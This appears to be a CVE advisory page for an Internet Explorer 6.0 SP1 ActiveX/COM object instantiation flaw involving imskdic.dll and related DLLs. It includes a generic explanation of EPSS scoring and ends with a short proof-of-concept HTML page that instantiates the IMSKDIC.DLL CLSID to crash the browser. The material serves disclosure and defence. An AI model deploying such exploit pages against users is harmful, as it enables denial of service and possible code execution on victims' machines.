CVE Descriptions

Microsoft Internet Explorer 6.0 SP1 and possibly other versions allows remote attackers to cause a denial of service and possibly execute arbitrary code by instantiating COM objects as ActiveX controls, including (1) imskdic.dll (Microsoft IME), (2) chtskdic.dll (Microsoft IME), and (3) msoe.dll (Outlook), which leads to memory corruption. NOTE: it is not certain whether the issue is in Internet Explorer or the individual DLL files.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

This issue occurs because the application fails to load a DLL library when instantiated as an ActiveX control. An attacker may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users and may cause arbitrary code to run within the context of the application. <-- /Internet Explorer (IMSKDIC.DLL) COM Object Instantiation Vulnerability //tested XP SP2 CN // nop (nop#xsec.org) // http://www.xsec.org // CLSID: {6E3197A3-BBC3-11D4-84C0-00C04F7A06E5} // Info: Microsoft IME SingleKanjiDictionary interface // ProgID: IMESingleKanjiDict.8.1 // InprocServer32: C:\WINDOWS\IME\imjp8_1\Applets\IMSKDIC.DLL --!> <html> <body> <object classid="CLSID:{6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}" /object> </body> </html>
